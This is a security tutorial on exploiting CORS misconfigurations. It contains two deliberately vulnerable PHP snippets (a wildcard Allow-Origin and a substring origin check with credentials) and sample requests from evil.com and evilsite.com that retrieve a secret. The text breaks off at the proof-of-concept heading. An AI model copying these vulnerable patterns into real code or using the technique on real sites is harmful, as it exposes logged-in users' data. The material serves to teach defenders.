Cross Origin Resource Sharing misconfigurations are commonly seen in the wild in web applications and there have been several bug bounty reports publicly available showing the impact of these misconfigurations. For example: https://hackerone.com/reports/769058. Let us take a closer look at what causes these misconfigurations and how they can be exploited.
What is CORS?
CORS stands for Cross-Origin Resource Sharing. Because of the same origin policy, by default Cross Origin Interactions are disabled in browsers for safety purposes. To relax this restriction, developers can use CORS features to allow for a web application to expose resources to all or restricted domains. This will enable a web client to make XMLHttpRequests for resources on other domains.
Exploiting misconfigured CORS
Let us go through some of the commonly seen misconfigurations associated with Cross Origin Resource Sharing. Example 1: Let’s consider the following example of a website’s server side code. header(‘Access-Control-Allow-Origin: ’); echo “You got your secret – S3cr3t”; ?> This is a classic example of misconfigured Cross Origin Resource Sharing example especially when the secret being served is not intended to be shared with ANY domain. One can submit an XHR request from any origin and the secret will be returned to the client by the server. Request: User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:83.0) Gecko/20100101 Firefox/83.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Origin: http://evil.com Connection: close Referer: http://192.168.1.106/cors/ Upgrade-Insecure-Requests: 1 Response: Server: Apache/2.4.18 (Ubuntu) Access-Control-Allow-Origin: * Content-Length: 28 Connection: close Content-Type: text/plain;charset=UTF-8 You got your secret – S3cr3t As we can notice, the response contains the secret requested. It should be noted that the Origin is set to evil.com. However, Access-Control-Allow-Origin header has a wildcard leaving the server to respond to any XHR requests from any origin. Example 2: Let’s consider the following example of a website’s server side code. if(isset($_SERVER[“HTTP_ORIGIN”])) { $origin = $_SERVER[“HTTP_ORIGIN”]; if (strpos($origin, ‘site.com’) !== false){ header(“Access-Control-Allow-Origin: ” . $origin); header(“Access-Control-Allow-Credentials: true”); echo “You got your secret – S3cr3t”; } } else { echo “Try again and get your secret :)”; } This is another commonly seen misconfiguration with Cross Origin Resource Sharing. The developer looks for the presence of the string “site.com” in the value of the Origin header. One can originate an XHR request from an origin that contains the string site.com and the request will be allowed. Following is an example showing how this works. Request: User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:83.0) Gecko/20100101 Firefox/83.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Origin: http://evilsite.com Connection: close Referer: http://192.168.1.106/cors/ Upgrade-Insecure-Requests: 1 Response: Server: Apache/2.4.18 (Ubuntu) Access-Control-Allow-Origin: http://evilsite.com Access-Control-Allow-Credentials: true Content-Length: 28 Connection: close Content-Type: text/plain;charset=UTF-8 You got your secret – S3cr3t As we can notice, once again the response contains the secret requested. The Origin http://evilsite.com contains the string site.com and it will be allowed by the server. As an attacker, one needs to host a malicious page on the domains specified in the Origin headers and lure a victim who is logged in to the vulnerable site to visit it. As proof of concept, the following code can be used to trigger an XHR request from the attacker’s site to exploit the scenarios specified in both the examples. Proof of concept code: